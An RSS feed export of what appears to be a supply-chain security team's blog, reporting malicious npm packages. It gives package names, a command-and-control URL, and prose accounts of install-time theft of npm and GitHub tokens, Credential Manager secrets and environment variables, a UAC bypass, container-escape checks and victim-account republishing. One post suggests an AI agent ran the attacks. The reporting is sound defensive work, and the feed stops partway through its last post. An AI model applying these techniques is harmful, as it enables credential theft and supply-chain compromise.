<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>scs &#8211; PT ESC</title>
	<atom:link href="https://ptesc.tech/en/tag/scs/feed/" rel="self" type="application/rss+xml" />
	<link>https://ptesc.tech/en/</link>
	<description></description>
	<lastBuildDate>Wed, 30 Sep 2026 19:24:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.4</generator>

<image>
	<url>https://ptesc.tech/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>scs &#8211; PT ESC</title>
	<link>https://ptesc.tech/en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Enterprise-grade validation system with schema support</title>
		<link>https://ptesc.tech/en/enterprise-grade-validation-system-with-schema-support/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 26 Aug 2026 12:33:34 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">https://ptesc.tech/enterprise-grade-validation-system-with-schema-support/</guid>

					<description><![CDATA[Enterprise-grade validation system with schema support(c) The author of a dozen trojans who forgot to add &#34;Enterprise-grade&#34; obfuscation We discovered and reported to the npm administration a series of malicious packages: @phonos/…]]></description>
										<content:encoded><![CDATA[<blockquote>
<p>Enterprise-grade validation system with schema support</p>
<p><cite><strong>(c) The author of a dozen trojans who forgot to add &quot;Enterprise-grade&quot; obfuscation</strong></cite></p></blockquote>
<p>We discovered and reported to the npm administration a series of malicious packages:</p>
<ul>
<li><code>@phonos/types</code></li>
<li><code>@structureit/ir-dealapi-js</code></li>
<li><code>@wame/ngx-adfs</code></li>
<li><code>@wame/ngx-frf-utilities</code></li>
<li><code>cclr-component-resources</code></li>
<li><code>compliancepolicyserv</code></li>
<li><code>connectedmerchantsserv</code></li>
<li><code>ftapi-core</code></li>
<li><code>lakk-analytics</code></li>
<li><code>meshim-frontend-config</code></li>
<li><code>nms-dashboard-js</code></li>
<li><code>oc-aa-module-client</code></li>
<li><code>oc-ccp-module-client</code></li>
<li><code>oc-navbar-module-client</code></li>
<li><code>qr-code-styling-temp</code></li>
<li><code>uploader-frontend</code></li>
<li><code>uploader-frontend-legacy</code></li>
</ul>
<figure class="wp-block-image"><img width="1024" height="625" src="https://ptesc.tech/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-1024x625.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-1024x625.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-300x183.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-768x468.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-1536x937.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/08/photo_603@26-08-2026_12-33-34-2048x1249.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>In total, the packages were downloaded more than 1,600 times</figcaption></figure>
<p>The listed packages contain similar code and a similar distribution strategy: first a clean version is published (usually <code>9.9.0</code>), and a couple of days later an &#8220;update&#8221; with unwanted functionality is published.</p>
<p>ㅤ</p>
<p>The malicious logic triggers during installation, executing <code>index.js</code> with control passed to <code>./lib/core.js</code></p>
<figure class="wp-block-image"><img width="1024" height="967" src="https://ptesc.tech/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-1024x967.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-1024x967.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-300x283.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-768x725.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-1536x1450.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/08/photo_604@26-08-2026_12-33-34-2048x1933.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>The scripts with malicious logic are quite compact — each one individually takes up no more than a kilobyte.</p>
<p>ㅤ</p>
<p>The code uses two techniques to conceal the logic: one-liners and storing constants as arrays of ASCII codes without additional obfuscation.</p>
<p>ㅤ</p>
<p>The purpose of the snippets, using <code>@phonos/types</code> as an example (we added explanatory comments to the code):</p>
<figure class="wp-block-image"><img width="1024" height="205" src="https://ptesc.tech/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-1024x205.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-1024x205.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-300x60.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-768x154.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34-1536x307.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/08/photo_605@26-08-2026_12-33-34.jpg 1990w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption><code>b02e30.js</code> stores information about the C2. Of note: the attacker was too lazy to encode the campaign name</figcaption></figure>
<figure class="wp-block-image"><img width="1024" height="397" src="https://ptesc.tech/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-1024x397.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-1024x397.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-300x116.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-768x298.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34-1536x595.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/08/photo_606@26-08-2026_12-33-34.jpg 1590w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption><code>6ad264.js</code> — resolves the <code>os</code>, <code>dns</code>, and <code>process</code> modules</figcaption></figure>
<figure class="wp-block-image"><img width="1024" height="778" src="https://ptesc.tech/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-1024x778.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-1024x778.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-300x228.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-768x583.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34-1536x1167.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/08/photo_607@26-08-2026_12-33-34.jpg 1540w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption><code>core.js</code> — retrieves and exfiltrates information</figcaption></figure>
<p>At first glance, the payload looks harmless — merely the attacker obtaining a basic profile of the user who installed the package. One could even entertain the notion that these packages were created with noble intentions. On the other hand, npm explicitly prohibits hosting such packages even for research purposes:</p>
<blockquote>
<p>Several examples of unacceptable content:<br />
&#8230;<br />
3. Content containing malicious computer code, such as computer viruses, computer worms, rootkits, backdoors, or spyware. <strong>This includes content submitted for research purposes.</strong></p>
<p><cite><a href="https://docs.npmjs.com/policies/open-source-terms#acceptable-use" rel="noopener" target="_blank"><strong>https://docs.npmjs.com/policies/open-source-terms#acceptable-use</strong></a><strong> (translation)</strong></cite></p></blockquote>
<blockquote>
<p>Don&#8217;t want your CI/CD pipelines and developers&#8217; devices to take part in this kind of unscheduled survey? There&#8217;s a solution: feeds for secure development within <a href="https://ptsecurity.com/services/fusion/" rel="noopener" target="_blank">PT Fusion</a>.</p>
<p><cite><strong><em>Supply Chain Security Team</em></strong></cite></p></blockquote>
<p><span class="hashtag">#npm</span> <span class="hashtag">#scs</span> <span class="hashtag">#ti</span></p>
<p><a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Chaos, shock, private keys from a not-so-private GitLab 💻</title>
		<link>https://ptesc.tech/en/chaos-shock-private-keys-from-a-not-so-private-gitlab/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 28 Jul 2026 19:03:30 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<guid isPermaLink="false">https://ptesc.tech/chaos-shock-private-keys-from-a-not-so-private-gitlab/</guid>

					<description><![CDATA[Over the past couple of months, the attacker has been distributing trojans from several npm accounts: alex05255, mdrafiqulislamrabby, b.w1001, abdev8773, and mollspotwood54400. List of packages: 🌟 svg-fetcher 🌟 tradepilot 🌟 polytrade 🌟 poly…]]></description>
										<content:encoded><![CDATA[<p>Over the past couple of months, the attacker has been distributing trojans from several npm accounts: <code>alex05255</code>, <code>mdrafiqulislamrabby</code>, <code>b.w1001</code>, <code>abdev8773</code>, and <code>mollspotwood54400</code>.</p>
<p><strong>List of packages:</strong></p>
<p>🌟 <code>svg-fetcher</code></p>
<p>🌟 <code>tradepilot</code></p>
<p>🌟 <code>polytrade</code></p>
<p>🌟 <code>polymarket-kit</code></p>
<p>🌟 <code>react-svg-chunk</code></p>
<p>🌟 <code>gamified-trading-system</code></p>
<p>🌟 <code>font-huge</code></p>
<p>🌟 <code>font-hub</code></p>
<p>🌟 <code>mdb-vite</code></p>
<p>🌟 <code>router-processor</code></p>
<p>🌟 <code>route-processor</code></p>
<p>The code, as is typical of the genre, is vibe-coded. This is indicated by the excessive explanatory comments:</p>
<figure class="wp-block-image"><img width="1024" height="391" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-1024x391.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-1024x391.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-300x115.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30-768x293.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_595@28-07-2026_19-03-30.jpg 1442w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="410" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-1024x410.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-1024x410.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-300x120.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30-768x308.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_596@28-07-2026_19-03-30.jpg 1238w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<h3>Package logic</h3>
<p>🔗 Concatenation of the C2 URL from several constants.</p>
<p>🔗 Request for the next stage. Of note:</p>
<p>🌟The payload is versioned and referred to in the code as <code>token</code>. We know of stages <code>106</code>, <code>107</code>, <code>108</code>, and <code>116</code>.</p>
<p>Final URL: <code>http://svganchordev.net/icons/&lt;token&gt;</p>
<p></code>🌟 The code passes the header key <code>bearrtoken</code> (spelling preserved, the author probably meant <code>bearertoken</code>) with the value <code>logo</code>.</p>
<p>The second stage is represented by heavily obfuscated one-liner JS code:</p>
<figure class="wp-block-image"><img width="1024" height="552" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-1024x552.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-1024x552.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-300x162.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-768x414.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-1536x829.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/07/photo_597@28-07-2026_19-03-30-2048x1105.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /><figcaption>We formatted it for clarity, still scary</figcaption></figure>
<p>The stage collects system information — username, computer name, operating system — and continues communicating via a web socket, receiving commands for execution.</p>
<p>The implementation is solid, with multi-stages, no argument there. But it&#8217;s still malicious activity, so we&#8217;re reporting the packages to the NPM admins 🫥</p>
<p>The releases with tokens <code>106</code> and <code>116</code> have a twist, namely embedded GitLab public and private keys:</p>
<figure class="wp-block-image"><img width="1024" height="446" src="https://ptesc.tech/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-1024x446.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-1024x446.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-300x131.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-768x334.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30-1536x668.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/07/photo_598@28-07-2026_19-03-30.jpg 2036w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p>We can&#8217;t use these keys: they belong to a private GitLab instance deployed in the attacker&#8217;s infrastructure.</p>
<p>However, it&#8217;s interesting that the campaign is conducted at such a serious level that the attacker needed code versioning, even though Git could have been used locally. One can assume that a CI/CD pipeline is set up in GitLab for obfuscating code and publishing stages.</p>
<blockquote>
<p>Want to automatically check whether these and other malicious packages have made it into your environment? Go here: secure development feeds from <a href="https://ptsecurity.com/services/fusion/" rel="noopener" target="_blank">PT Fusion</a>.</p>
</blockquote>
<p><span class="hashtag">#npm</span> <span class="hashtag">#scs</span></p>
<p><a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Did someone say sandbox?</title>
		<link>https://ptesc.tech/en/did-someone-say-sandbox/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 30 Jun 2026 11:20:01 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%ba%d1%82%d0%be-%d1%82%d0%be-%d1%81%d0%ba%d0%b0%d0%b7%d0%b0%d0%bb-sandbox/</guid>

					<description><![CDATA[Someone said sandbox? 👀 Once again we're watching threat actors conduct unethical research. Given: Security researcher Nicholas Curran He published packages with interesting names: 🌟2 packages npm-sandbox-ping-[4 characters] 🌟8 packages npm…]]></description>
										<content:encoded><![CDATA[<p><strong>Someone said sandbox?</strong> 👀</p>
<p>Once again we&#8217;re watching threat actors conduct unethical research.</p>
<p><strong>Given:</strong><br />
Security researcher <code>Nicholas Curran</code></p>
<p>He published packages with interesting names:<br />
🌟2 packages <code>npm-sandbox-ping-[4 characters]</code><br />
🌟8 packages <code>npm-sandbox-research-[4 characters]</code><br />
🌟<code>postinstall-logger-7x9z</code><br />
🌟<code>pkg-telemetry-r4f9</code><br />
🌟<code>runtime-metrics-w7k2</code><br />
🌟<code>event-metrics-q3x7</code><br />
🌟<code>build-tracker-n5p1</code></p>
<p>According to the description (<em>screenshot 1</em>), these packages were created as part of a bug bounty program. </p>
<p><strong>The author claims that:</strong><br />
🔗The packages are safe.<br />
🔗All sensitive data is hashed before being sent — no secrets are disclosed.<br />
🔗The packages do not establish persistence on the system, move laterally across the network, or perform destructive actions.<br />
🔗The goal of the research: to study whether the npm sandbox isolates unsafe installation scripts.</p>
<p>Sandbox security research? We love that. Let&#8217;s take a look at how it&#8217;s implemented.</p>
<p>The payload starts twice: before and after package installation (<em>screenshot 2</em>). Windows logic is handled by <code>beaconXX.js</code>, all other platforms are handled by <code>beacon_linux.js</code>. Even macOS.</p>
<p><strong>Logic under Windows</strong></p>
<p><code>beaconXX.js</code> (<em>screenshot 3</em>):<br />
1️⃣ Exploits a known <a href="https://mitre.ptsecurity.com/ru-RU/T1548.002" rel="noopener" target="_blank">UAC bypass</a> via <code>fodhelper.exe</code>. To do this, in addition to launching the file, it is necessary to make changes to the Windows registry.<br />
2️⃣ Drops a PowerShell script into <code>%TEMP%</code> and runs it with elevated privileges.</p>
<p><strong>PowerShell script:</strong><br />
1️⃣ Removes the changes made to the registry.<br />
2️⃣ Collects:<br />
🐟 artifacts specific to the sandbox being studied from drive D, including the file <code>findings.xml</code>;<br />
🐟 a list of secrets from Credential Manager;<br />
🐟 <code>npm config list</code> — this includes authentication tokens for the npm account;<br />
🐟 all environment variables.<br />
3️⃣ Covers its tracks by overwriting <code>findings.xml</code> with the following text:</p>
<blockquote><p>&lt;ArrayOfTaskFinding&gt;&lt;/ArrayOfTaskFinding&gt;</p></blockquote>
<p>
4️⃣ Encodes the collected data in base64 and simply sends it to the command-and-control server&#8230; without the hashing stated in <code>README.md</code> 🤪<br />
5️⃣ In an infinite loop, every 5 seconds it contacts the command-and-control server for commands to execute.</p>
<p>Given how the code tries to interfere with the sandbox&#8217;s operation, we can assume this is a custom sandbox with an agent similar to Cuckoo Sandbox.</p>
<p><strong>Logic under non-Windows</strong></p>
<p><code>beacon_linux.js</code> (screenshot 4):<br />
1️⃣ Collects:<br />
🐟 a list of the names of all environment variables;<br />
🐟 the values of interesting environment variables related to GitHub, NPM, runners, and the user;<br />
🐟 a list of network interfaces.<br />
2️⃣ Checks for container escape opportunities by collecting:<br />
🐟 the contents of <code>/proc/1/cgroup</code> (information about container restrictions);<br />
🐟 the command line of the process with <code>PID 1</code>;<br />
🐟 a list of mounted volumes.<br />
🐟 the set of <code>capabilities</code> of its own process;<br />
🐟 the presence of <code>/var/run/docker.sock</code> (allows controlling Docker with the potential to fully take over the device);<br />
🐟 access to <code>/proc/sched_debug</code> (allows reconnaissance of processes running on the host).<br />
3️⃣ Collects CI/CD-related artifacts: a list of files in the current project and <code>/home/runner/work</code>, GitHub logs.<br />
4️⃣ Sends the report to the command-and-control server.</p>
<p><strong>Conclusion</strong></p>
<p>The packages do not match the good intentions declared to us in <code>README.md</code> — so we reported this misunderstanding to the NPM admins.</p>
<p>It&#8217;s strange to see such behavior from a bug hunter who has had a HackerOne account since 2017 🤔</p>
<blockquote><p>Want to check your projects for malicious external dependencies? Try the secure development feeds from PT Fusion.</p></blockquote>
<figure class="wp-block-image"><img width="1024" height="382" src="https://ptesc.tech/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-1024x382.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-1024x382.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-300x112.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-768x286.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-1536x573.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/06/photo_582@30-06-2026_11-20-01-2048x764.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="764" src="https://ptesc.tech/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-1024x764.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-1024x764.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-300x224.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-768x573.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-1536x1147.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/06/photo_583@30-06-2026_11-20-01-2048x1529.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="764" src="https://ptesc.tech/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-1024x764.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-1024x764.jpg 1024w, https://ptesc.tech/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-300x224.jpg 300w, https://ptesc.tech/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-768x573.jpg 768w, https://ptesc.tech/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-1536x1147.jpg 1536w, https://ptesc.tech/wp-content/uploads/2026/06/photo_584@30-06-2026_11-20-01-2048x1529.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<p><span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#npm</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Hello! The Supply Chain Security team is here</title>
		<link>https://ptesc.tech/en/hello-the-supply-chain-security-team-is-here/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 12 May 2026 15:30:36 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[scs]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%e4%bd%a0%e5%a5%bd-%d0%bd%d0%b0-%d1%81%d0%b2%d1%8f%d0%b7%d0%b8-%d0%b3%d1%80%d1%83%d0%bf%d0%bf%d0%b0-supply-chain-security/</guid>

					<description><![CDATA[Hello! The Supply Chain Security group is here 🩷 We scan open source in real time for malicious code. We are also responsible at ESCalator for publications about interesting findings in the Python Package Index and NPM 🏃‍♀️ We are pleased t…]]></description>
										<content:encoded><![CDATA[<p><strong>Hello! The Supply Chain Security group is here </strong><strong>🩷</strong></p>
<p>We scan open source in real time for malicious code. We are also responsible at ESCalator for publications about interesting findings in the Python Package Index and NPM 🏃‍♀️</p>
<p>We are pleased to announce a collaboration with the folks from <a href="https://ptsecurity.com/services/fusion/?utm_source=tg_esc&#038;utm_medium=scs&#038;utm_campaign=12_05" rel="noopener" target="_blank">PT Fusion</a> and the release of feeds on discovered threats in OSV format (<a href="https://ptsecurity.com/about/news/new-feeds-in-pt-fusion-help-to-control-the-security-of-external-dependencies/?utm_source=tg_esc&#038;utm_medium=scs&#038;utm_campaign=12_05" rel="noopener" target="_blank">announcement</a>). They contain information not only about malicious releases, but also, for example, about removed packages, which is also one of the risk factors that must be taken into account when continuing to use such packages.</p>
<p>If your company has development and you are concerned about its security, we would be glad to see you among our users 🤗</p>
<p><span class="hashtag">#scs</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>The attacker publishes .bash_history view without registration and SMS</title>
		<link>https://ptesc.tech/en/the-attacker-publishes-bash-history-watch-without-registration-and-sms/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 12 May 2026 14:29:36 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">https://ptesc.tech/%d0%b7%d0%bb%d0%be%d1%83%d0%bc%d1%8b%d1%88%d0%bb%d0%b5%d0%bd%d0%bd%d0%b8%d0%ba-%d0%bf%d1%83%d0%b1%d0%bb%d0%b8%d0%ba%d1%83%d0%b5%d1%82-bash_history-%d1%81%d0%bc%d0%be%d1%82%d1%80%d0%b5%d1%82%d1%8c/</guid>

					<description><![CDATA[Attacker publishes .bash_history watch without registration and SMS 😱 The Supply Chain Security team sent a report to the npm registry administration about an amusing little campaign against Apple, among them: • apple-infra-network-v2 (170…]]></description>
										<content:encoded><![CDATA[<p><strong>Attacker publishes .bash_history watch without registration and SMS </strong><strong>😱</strong></p>
<p>The Supply Chain Security team sent a report to the npm registry administration about an amusing little campaign against Apple, among them:</p>
<p>• <code>apple-infra-network-v2</code> (170 downloads at the time of the report)<br />
• <code>apple-infra-final-escape</code> (326 downloads)<br />
• <code>apple-infra-gcp-leak</code> (165 downloads)<br />
• <code>apple-infra-ultimate-bypass</code> (153 downloads)<br />
• <code>agents-a365-runtime</code> — mimicry of the package <code>@microsoft/agents-a365-runtime</code> (447 downloads)<br />
• <code>apple-security-internal-scanner-v3</code> (185 downloads)<br />
• <code>apple-coredata-internal-service</code> (367 downloads)</p>
<p>Some of the first-wave projects are concise and consist of a single <code>package.json</code> file weighing less than 1 kilobyte (<em>screenshot 1)</em>.</p>
<p><strong>Bash one-liner:</strong><br />
🌟Retrieves the contents of <code>/etc/resolv.conf</code> — the device&#8217;s DNS configuration.<br />
🌟Checks whether the domain <code>internal.apple.com</code> can be resolved via <code>nslookup</code> / <code>host</code>.<br />
🌟Grabs ARP cache entries (tables mapping IP addresses to MAC addresses).<br />
🌟Pays attention to the following environment variables by mask: <code>*PROXY*</code>, <code>*TENCENT*</code>, <code>*REGION*</code>, <code>*ZONE*</code>.</p>
<p><strong>Meaning of the environment variables:</strong></p>
<p><span class="spoiler">PROXY* — grab corporate proxy settings (HTTP_PROXY, HTTPS_PROXY and others). A value like http://proxy[.]departmentname.companyname[.]local may turn up there, allowing the victim to be identified in more detail;</p>
<p>TENCENT* — probably an indicator of Tencent Cloud infrastructure</p>
<p>REGION and ZONE — environment variables that may store the cloud location, for example eu-west-1</span></p>
<p>This report is framed by the text <code>--- NETWORK PIVOT AUDIT ---</code> and <code>--- AUDIT SELESAI ---</code> (Indonesian for &#8220;Report finished&#8221;) and is sent to the package author.</p>
<p>———</p>
<p>It&#8217;s easy to believe that this is pentest or bug bounty activity against Apple: the victim&#8217;s fingerprint is carefully collected, without any information that would represent commercial value.</p>
<p>However, some of the later releases have amusing logic (<em>screenshot 2</em>):</p>
<p>1️⃣ An attempt to steal the value of one of the environment variables in the following order: <code>NPM_TOKEN</code>, <code>NODE_AUTH_TOKEN</code>, <code>GITHUB_TOKEN</code>, <code>NPM_AUTH_TOKEN</code>. If they are absent, then we try to take <code>authToken</code> from the file <code>~/.npmrc</code></p>
<p>2️⃣ Hoping that the environment has access to an internal npm package repository, an attempt to download the package <code>apple-app-store-server-library</code>, rebuild it with a new version and publish it to the global <code>npmjs.org</code></p>
<p>Our honest reaction to the second point: 🤔 Well, and there are more Indonesian comments.</p>
<p>———</p>
<p>As the campaign developed, the attacker stopped throwing dust in the eyes with good intentions and simply started stealing all interesting environment variables, as well as grabbing Azure IMDS tokens.</p>
<p>At some point, while testing the package publication logic on behalf of the victim, the author accidentally packed all of his scripts, node logs and even <code>.bash-history</code> into one of his releases 🤔 (<em>screenshot 3</em>).</p>
<p>When studying the commands, one gets a clear impression that we are dealing with the work of an agentic system for automating pentests. Only the strongest of humans can write commands like:</p>
<pre><code>echo &#039;long valid one-line package.json with an infostealer in the preinstall logic&#039;  &gt; package.json &amp;&amp; npm publish</code></pre>
<p>Comments also ended up in the bash history. They could have been left by the attacker himself, copying commands from a dialogue with an LLM, or by the agent itself:</p>
<blockquote><p>// Masukin ini ke dalam script preinstall lu<br />
# Nyari di mana lokasi instalasi npm lo<br />
# Biasanya hasilnya di /usr/bin/npm. Sekarang kita liat isinya:</p></blockquote>
<p>Translated into English:</p>
<blockquote><p>// Enter this into your preinstall script<br />
# Find your npm installation location<br />
# Usually, it&#039;s in /usr/bin/npm. Now let&#039;s look at the contents:</p></blockquote>
<p>———</p>
<p>It&#8217;s 2026. Frameworks for autopentesting already exist. The blue team is keeping up too and offering its own solutions for using LLMs in the same SIEMs. Time will pass, and we humans will be left to just watch this confrontation with popcorn 🍿</p>
